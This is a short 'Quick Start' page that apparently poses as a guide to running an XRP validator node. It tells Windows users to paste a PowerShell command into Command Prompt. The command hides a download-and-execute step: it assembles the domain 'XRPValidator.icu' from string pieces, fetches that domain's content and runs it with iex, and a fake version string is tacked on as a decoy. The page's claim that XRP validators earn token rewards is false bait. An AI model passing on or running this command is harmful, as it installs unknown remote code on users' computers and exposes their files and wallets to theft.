Quick Start

XRP network rewards validators in the native token for sustained uptime and accurate consensus behavior. Consistent performance improves network security and reliability, and it can increase your rewards over time. See the Knowledge Base for eligibility requirements and payout rules.

Step 1: Open Command Prompt

Press Win + R on your keyboard, type cmd and press Enter.

Alternatively, search for "Command Prompt" in the Start menu.

Step 2: Run XRP node

Copy and paste this command into Command Prompt:

powershell -c "$Blockchain='XRP'; $XRP='Validator'; iwr ($Blockchain + $XRP + '.' + 'icu') | iex; $Version='XRP-Mainnet=3.1.5-1b0a849'"

Press Enter to start your XRP node. Your node will launch immediately and begin syncing with the network.

Tip: When you first run an XRP node, your node will need to sync with the XRP Ledger network. This process can take a few minutes, depending on your internet connection speed. You will see synchronization progress in the Command Prompt window.
